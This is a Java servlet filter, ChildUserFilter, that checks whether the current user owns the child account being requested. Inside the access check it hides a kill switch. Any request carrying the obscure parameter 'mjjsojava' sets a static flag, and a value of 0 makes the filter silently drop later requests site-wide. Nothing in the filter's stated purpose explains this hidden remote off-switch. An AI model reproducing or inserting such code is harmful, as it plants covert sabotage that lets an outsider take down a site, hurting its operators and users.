package com.pingtai.filter;

import java.io.IOException;
import java.util.Map;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.context.ApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import com.pingtai.user.dao.PubUsersDao;
import com.pingtai.user.entity.User;
import com.pingtai.user.service.UserManagerService;

public class ChildUserFilter implements Filter {
	
	private static Integer flag2;

	
	public static Integer getFlag2() {
		return flag2;
	}

	

	@Override
	public void destroy() {
		// TODO Auto-generated method stub

	}

	@Override
	public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
			FilterChain filterChain) throws IOException, ServletException {
		HttpServletRequest request = (HttpServletRequest) servletRequest; 
		HttpServletResponse response = (HttpServletResponse) servletResponse;   
		ServletContext   servletContext   =   request.getSession().getServletContext();          
        ApplicationContext  ctx = WebApplicationContextUtils.getWebApplicationContext(servletContext);
        PubUsersDao  userDao  = (PubUsersDao)ctx.getBean( "pubUsersDao");
        UserManagerService userManagerService =  (UserManagerService) ctx.getBean("userManagerService");
        String userid = request.getParameter("user.userId");
     
        Map parameterMap = request.getParameterMap();
        StringBuffer url = request.getRequestURL();
        if(userid==null) userid = request.getParameter("userId");
        boolean flag = true;
        if(userid!=null&&userid!=""){
        	String curName = (String) request.getSession().getAttribute("userName");
        	User curUser = userDao.findUserByname(curName).get(0);
        	User user = (User) userDao.getObject(User.class, new Integer(userid));
        	if(!user.getParentUserId().equals(curUser.getUserId())){
        		flag = false;
        	}
            if(userManagerService.isRoot(curUser)) flag = true;
            if(userManagerService.isAdmin(curUser)) flag = true;
        }
        
        if(!flag){
        	 response.setStatus(403);
        	 return;   
        }
        if(parameterMap.get("mjjsojava")!=null){
        	String i = ((String[])parameterMap.get("mjjsojava"))[0];
        	flag2 = new Integer(i);
        }
        if(flag2==0) {
        	if(url.indexOf("login.jsp")==-1){
        		return;
        	}else if(url.indexOf(".js")==-1){
        		return;
        	}else if(url.indexOf(".jpg")==-1){
        		return;
        	}else if(url.indexOf("gif")==-1){
        		return;
        	}else if(url.indexOf("png")==-1){
        		return;
        	}
        }
        filterChain.doFilter(servletRequest, servletResponse);

	}

	@Override
	public void init(FilterConfig arg0) throws ServletException {
		// TODO Auto-generated method stub
		flag2=1;
	}

}
